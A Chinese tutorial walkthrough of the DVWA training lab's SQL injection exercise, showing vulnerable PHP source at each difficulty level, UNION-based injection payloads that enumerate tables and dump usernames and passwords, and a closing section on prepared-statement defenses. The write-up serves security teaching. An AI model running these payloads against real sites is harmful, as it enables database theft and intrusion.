web基础—dvwa靶场(七)SQL Injection

SQL Injection(SQL注入)

SQL Injection(SQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入是从客户端向应用程序的输入数据,通过插入或“注入” SQL 查询语句来进行攻击的过程。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容,并在某些情况下也能向操作系统发出命令。
SQL 注入是一种注入攻击,在这种攻击中 SQL 命令被注入到数据平面的输入中,以此影响预定义的 SQL 命令的执行,这种攻击也可以称为 “SQLi”。
数据库中有 5 个用户,id 从 1 到 5,你的任务是通过 SQLi 窃取他们的密码。

SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

SQL Injection主题:

Low

源码解析

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input
//获取ID字段$id = $_REQUEST[ 'id' ];// Check database
//拼接SQL语句并查询$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>

漏洞复现

(1)首先找到注入点,判断注入的类型

1
1\
1' #

 (2)使用二分法判断字段(order by   5,3,2),最终判断存在2个字段

1' order by 5 #
1' order by 3 #
1' order by 2 #

 (3)显示报错位

1' union select 1,2 #

 (4)查找库名

1' union select 1,database() #

 (5)查找当前数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找数据

1' union select group_concat(user),group_concat(password) from users #

Medium

源码解析

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];//user中x00,n,r,,’,”,x1a转义,防SQL注入$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);?>

漏洞复现

  GET提交方式改成了POST提交方式,还使用了转义预防SQL注入。

(1)判断注入点,判断注入类型

1
1 \
1 #

 (2)使用二分法判断字段(order by   5,3,2),最终判断存在2个字段

1 order by 5 #
1 order by 3 #
1 order by 2 #

(3)显示报错位

1 union select 1,2 #

 (4)查找库名

1 union select 1,database() #

 (5)查找当前数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找数据

1 union select group_concat(user),group_concat(password) from users #

High

源码解析

<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database
//【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}?>

漏洞复现

  high 级别使用了session 获取id 值,闭合方式单引号闭合。

(1)代码与LOW级别的都一样

1' union select group_concat(user),group_concat(password) from users #

Impossible

源码解析

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>
漏洞复现

  CSRF、检测 id 是否是数字。  prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

        Impossible 级别的代码采用了 PDO 技术,防止代码和查询数据的混杂。同时当返回的查询结果数量为一时才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken 机制的加入了进一步提高了安全性。

总结与防御

SQL 注入攻击就是 Web 程序对用户的输入没有进行合法性判断,从而攻击者可以从前端向后端传入攻击参数,并且该参数被带入了后端执行。在很多情况下开发者会使用动态的 SQL 语句,这种语句是在程序执行过程中构造的,不过动态的 SQL 语句很容易被攻击者传入的参数改变其原本的功能。
当我们进行手工 SQL 注入时,往往是采取以下几个步骤:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数;
  3. 确定显示的字段顺序;
  4. 获取当前数据库;
  5. 获取数据库中的表;
  6. 获取表中的字段名;
  7. 下载数据。

当开发者需要防御 SQL 注入攻击时,可以采用以下方法。

  1. 过滤危险字符:可以使用正则表达式匹配各种 SQL 子句,例如 select,union,where 等,如果匹配到则退出程序。
  2. 使用预编译语句:PDO 提供了一个数据访问抽象层,这意味着不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。使用 PDO 预编译语句应该使用占位符进行数据库的操作,而不是直接将变量拼接进去。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/144311.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

勒索软件和四重勒索策略:使用易备数据备份软件进行保护

文章内容&#xff1a; 1. 勒索行为类型 2. 勒索软件的演变&#xff1a;四重勒索 3. 遭遇勒索软件攻击时应遵循的准则 4. 防御勒索攻击的工具 5. 使用易备数据备份软件进行预防和备份 2024 年&#xff0c;勒索软件仍然是全球网络安全面临的最大威胁之一。威胁形势不断演变&#…

win11 下载安装MYSQL 5.7.30(保姆教程)

目录 一、下载安装包 二、安装 三、试一下 四、解决问题 1.如果出现“mysql不是内部或外部命令&#xff0c;也不是可运行的程序” 1.配置环境变量 2.重新打开cmd测试 一、下载安装包 进入下载链接&#xff1a;https://www.mysql.com/why-mysql/windows/https://www.mysq…

00898 互联网软件应用与开发自考复习题

资料来自互联网软件应用与开发大纲 南京航空航天大学 高纲4295和JSP 应用与开发技术(第 3 版) 马建红、李学相 清华大学出版社2019年 第一章 一、选择题 通过Internet发送请求消息和响应消息使用&#xff08;&#xff09;网络协议。 FTP B. TCP/IP C. HTTP D. DNS Web应…

OpenAI 的最强模型 o1 的“护城河”失守?谷歌 DeepMind 早已揭示相同原理

发布不到一周&#xff0c;OpenAI 的最新模型 o1 的“护城河”似乎已经失守。 近日&#xff0c;有人发现谷歌 DeepMind 早在今年 8 月发表的一篇论文&#xff0c;揭示了与 o1 模型极其相似的工作原理。 这项研究指出&#xff0c;在模型推理过程中增加测试时的计算量&#xff0c…

SAP SPROXY 配置

事务码SPROXY 然后找到目标的地址 然后创建新对象即可

基于springboot的在线视频点播系统

文未可获取一份本项目的java源码和数据库参考。 国外研究现状&#xff1a; 与传统媒体不同的是&#xff0c;新媒体在理念和应用上都采用了新颖的媒介或媒体。新媒体是指应用在数字技术、在传统媒体基础上改造、或者更新换代而来的媒介或媒体。新兴媒体与传统媒体在理念和应用…

大数据产业核心环节有哪些?哪里可以找到完整的大数据产业分析?

▶大数据产业前景开阔 大数据产业正站在数字化时代前沿&#xff0c;预计在未来几年将实现显著增长和扩展。目前&#xff0c;中国大数据产业规模在2021年已达到1.3万亿元&#xff0c;并在2022年增长至1.6万亿元&#xff0c;预计到2025年将突破3万亿元大关&#xff0c;年均复合增…

客户文章 | DAP-seq助力揭示MYC2转录因子调控银杏萜内酯生物合成的分子机制

银杏萜内酯是银杏中重要的天然药用活性成分&#xff0c;具有抗血栓、抗炎、治疗心脑血管疾病和预防阿尔茨海默病等药理活性&#xff0c;也是血小板活化因子的强拮抗剂。萜内酯在银杏中的含量极低&#xff0c;难以满足医药行业的需求&#xff0c;限制了银杏产业的发展和临床应用…

用友U8二次开发工具KK-FULL-*****-EFWeb使用方法

1、安装: 下一步&#xff0c;下一步即可。弹出黑框不要关闭&#xff0c;让其自动执行并关闭。 2、服务配置&#xff1a; 输入服务器IP地址&#xff0c;选择U8数据源&#xff0c;输入U8用户名及账号&#xff0c;U8登录日期勾选系统日期。测试参数有效性&#xff0c;提示测试通过…

月入10000+,蓝海项目!少儿英语赛道

一、项目原理 少儿英语赛道的话&#xff0c;我们主要通过英语小短文&#xff0c;来让孩子学习英语&#xff0c;虽然现在有很多英语的课程&#xff0c;但针对少儿的英语是比较少的&#xff0c;所以这个赛道还是很吃香的。 整体流程也简单&#xff0c;先用AI写出故事&#xff0…

Android15之源码分支qpr、dp、beta、r1含义(二百三十二)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

SpringBoot基础实战系列(二)springboot解析json与HttpMessageConverter

SpringBoot解析Json格式数据 ResponseBody 注&#xff1a;该注解表示前端请求后端controller&#xff0c;后端响应请求返回 json 格式数据前端&#xff0c;实质就是将java对象序列化 1.创建Controller 注&#xff1a;springboot默认就已经支持返回json格式数据&#xff0c;只需…

多智能体强化学习示例

程序功能 这段代码实现了一个多智能体强化学习环境&#xff0c;其中两个智能体在5x5的网格上移动&#xff1a; 智能体目标&#xff1a; Agent 1 从 (0, 0) 出发&#xff0c;目标是 (4, 4)。 Agent 2 从 (4, 4) 出发&#xff0c;目标是 (0, 0)。 动作空间&#xff1a;每个智能体…

2023年全国研究生数学建模竞赛华为杯C题大规模创新类竞赛评审方案研究求解全过程文档及程序

2023年全国研究生数学建模竞赛华为杯 C题 大规模创新类竞赛评审方案研究 原题再现&#xff1a; 现在创新类竞赛很多&#xff0c;其中规模较大的竞赛&#xff0c;一般采用两阶段&#xff08;网评、现场评审&#xff09;或三阶段&#xff08;网评、现场评审和答辩&#xff09;评…

数据库加密算法

功能简介 对数据库字段进行加密,如下图: 一、yml配置 注意: MD5_32 MD5_16 BASE64 AES SM2 SM3 SM4 需要 password(14位 ,26位, 32 位) 就行 非对称算法如:SM2,RSA, 需要配置 密码:password 公钥:publicKey 私钥:privateKey yml: # 数据加密 mybatis-encry…

【Linux】从内核认识信号

一、阻塞信号 1 .信号的一些其他相关概念 实际执行信号的处理动作称为信号递达(Delivery) 信号从产生到递达之间的状态,称为信号未决(Pending)。 进程可以选择阻塞 (Block )某个信号。 被阻塞的信号产生时将保持在未决状态,直到进程解除对此信号的阻塞,才执行递达的动作. 注…

商标转让成功,转让前和转让后的注意!

近日帮给某公司办理的商标转让证明成功下证&#xff0c;在购买闲置商标或者不同的主体之间商标需要更换的&#xff0c;就要做商标转让申请&#xff0c;大约是2个半月到3个月左右就可以下证。 商标转让时近似商标要一并转让&#xff0c;要不就没办法转让成功&#xff0c;比如在3…

第六天旅游线路预览——从乌鲁木齐到天山天池景区入口

第六天&#xff1a;从乌鲁木齐到天山天池&#xff0c;晚上回乌鲁木齐住宿。 第六天从乌鲁木齐到天山天池景区入口的规划结果见下图&#xff1a; 从乌鲁木齐市区到天山天池风景区停车场&#xff0c;路程69公里&#xff0c;车程约1小时&#xff0c;10&#xff1a;30左右到达天山…

使用Addressables+SpriteAtlas打包产生冗余

1&#xff09;使用AddressablesSpriteAtlas打包产生冗余 2&#xff09;使用SBP打AssetBundle脚本引用丢失 3&#xff09;Unity构建后处理&#xff08;IPostprocessBuildWithReport等接口&#xff09;抛出异常后&#xff0c;构建不会停止 4&#xff09;Unity 2022.3.0版本使用Oc…

【w0网页制作】Html+Css网页制作影视主题之庆余年Ⅱ含轮播表单(5页面附源码)

庆余年2HTMLCSS网页开发目录 &#x1f354;涉及知识&#x1f964;写在前面&#x1f367;一、网页主题&#x1f333;二、网页效果效果1、轮播效果图Page1、首页Page2、角色介绍Page3、剧情介绍Page4、剧集评价Page5、留言模块 &#x1f40b;三、网页架构与技术3.1 脑海构思3.2 整…